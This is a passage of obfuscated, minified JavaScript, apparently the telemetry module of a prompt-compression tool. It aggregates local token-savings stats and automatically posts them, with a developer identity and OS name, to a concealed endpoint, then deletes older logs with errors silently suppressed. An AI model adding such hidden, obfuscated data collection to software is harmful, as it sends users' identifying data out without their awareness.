_0x5099a9=a0_0xffdd88,_0x12f69d=getTodayDate(),_0x494307=_0x23ba50[_0x5099a9(0x22e)](_0x232024=>_0x232024['timestamp'][_0x5099a9(0x22f)](_0x12f69d)),_0xfa8e73=_0x494307[_0x5099a9(0x1f7)]>0x0?_0x494307:_0x23ba50;let _0x47d54f=0x0,_0x4d5a92=0x0,_0x386bfa=0x0,_0x23e619=0x0;const _0x38e80e=new Set();for(const _0x4a0595 of _0xfa8e73){_0x47d54f+=_0x4a0595['estimated_raw_tokens'],_0x4d5a92+=_0x4a0595[_0x5099a9(0x20c)],_0x386bfa+=_0x4a0595[_0x5099a9(0x1ef)],_0x38e80e[_0x5099a9(0x22c)](_0x4a0595[_0x5099a9(0x1e2)]);const _0x22a8dd=PRICING[_0x4a0595[_0x5099a9(0x1e2)]]||PRICING[_0x5099a9(0x216)];_0x23e619+=_0x4a0595[_0x5099a9(0x1ef)]*_0x22a8dd['input_price_1m']/0xf4240;}const _0x20d817=_0xfa8e73[_0xfa8e73['length']-0x1];return{'developer_id':getDeveloperIdentity(),'os':os[_0x5099a9(0x1f0)](),'date':_0x12f69d,'executions_count':_0xfa8e73[_0x5099a9(0x1f7)],'total_raw_tokens':_0x47d54f,'total_compressed_tokens':_0x4d5a92,'total_tokens_saved':_0x386bfa,'total_money_saved_usd':parseFloat(_0x23e619[_0x5099a9(0x1fb)](0x6)),'models_used':Array[_0x5099a9(0x1f1)](_0x38e80e),'last_seen':_0x20d817?_0x20d817[_0x5099a9(0x210)]:new Date()[_0x5099a9(0x1e8)]()};}async function runSync(){const _0x204da7=a0_0xffdd88;if(!fs[_0x204da7(0x1fc)](statsPath))return;if(hasAlreadySyncedToday())return;let _0x230c1c;try{_0x230c1c=JSON['parse'](fs['readFileSync'](statsPath,_0x204da7(0x213)));}catch{return;}const _0x262708=_0x230c1c['filter'](_0x43560c=>!_0x43560c['synced']);if(_0x262708['length']===0x0)return;const _0x481e8c=buildDailyPayload(_0x230c1c);await postTelemetry(_ep,_0x481e8c);let _0xd0456c=process.env.TRIMPROMPT_TELEMETRY_URL||'';if(!_0xd0456c&&fs['existsSync'](configPath))try{const _0x1d5652=JSON[_0x204da7(0x201)](fs[_0x204da7(0x214)](configPath,_0x204da7(0x213)));_0xd0456c=_0x1d5652[_0x204da7(0x218)]||'';}catch{}_0xd0456c[_0x204da7(0x1f8)]()[_0x204da7(0x1f7)]>0x0&&await postTelemetry(_0xd0456c,_0x481e8c);for(const _0x4809d of _0x230c1c){if(!_0x4809d[_0x204da7(0x208)])_0x4809d[_0x204da7(0x208)]=!![];}try{fs[_0x204da7(0x1de)](statsPath,JSON['stringify'](_0x230c1c,null,0x2),'utf8');}catch{}markSyncedToday(),pruneOldLogs(_0x230c1c);}function pruneOldLogs(_0x4233a0){const _0x4f86f5=a0_0xffdd88;try{const _0x2a61e1=new Date(),_0x42d141=new Date(_0x2a61e1[_0x4f86f5(0x1ed)]()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x2e9625=[],_0x3c1402=[];for(const _0x4413c2 of _0x4233a0){const _0x57dead=new Date(_0x4413c2[_0x4f86f5(0x210)]);_0x57dead>=_0x42d141?_0x2e9625[_0x4f86f5(0x1f3)](_0x4413c2):_0x3c1402[_0x4f86f5(0x1f3)](_0x4413c2);}if(_0x3c1402[_0x4f86f5(0x1f7)]>0x0){const _0x325dc4=path[_0x4f86f5(0x230)](baseDir,_0x4f86f5(0x200));for(const _0x4eb0f8 of _0x3c1402){const _0xc64cae=path[_0x4f86f5(0x230)](_0x325dc4,_0x4eb0f8['id']+_0x4f86f5(0x207)),_0x36282d=path[_0x4f86f5(0x230)](_0x325dc4,_0x4eb0f8['id']+_0x4f86f5(0x225));try{if(fs[_0x4f86f5(0x1fc)](_0xc64cae))fs[_0x4f86f5(0x1f9)](_0xc64cae);if(fs['existsSync'](_0x36282d))fs[_0x4f86f5(0x1f9)](_0x36282d);}catch{}}fs[_0x4f86f5(0x1de)](statsPath,JSON[_0x4f86f5(0x205)](_0x2e9625,null,0x2),_0x4f86f5(0x213));}}catch{}}runSync()['catch'](()=>{});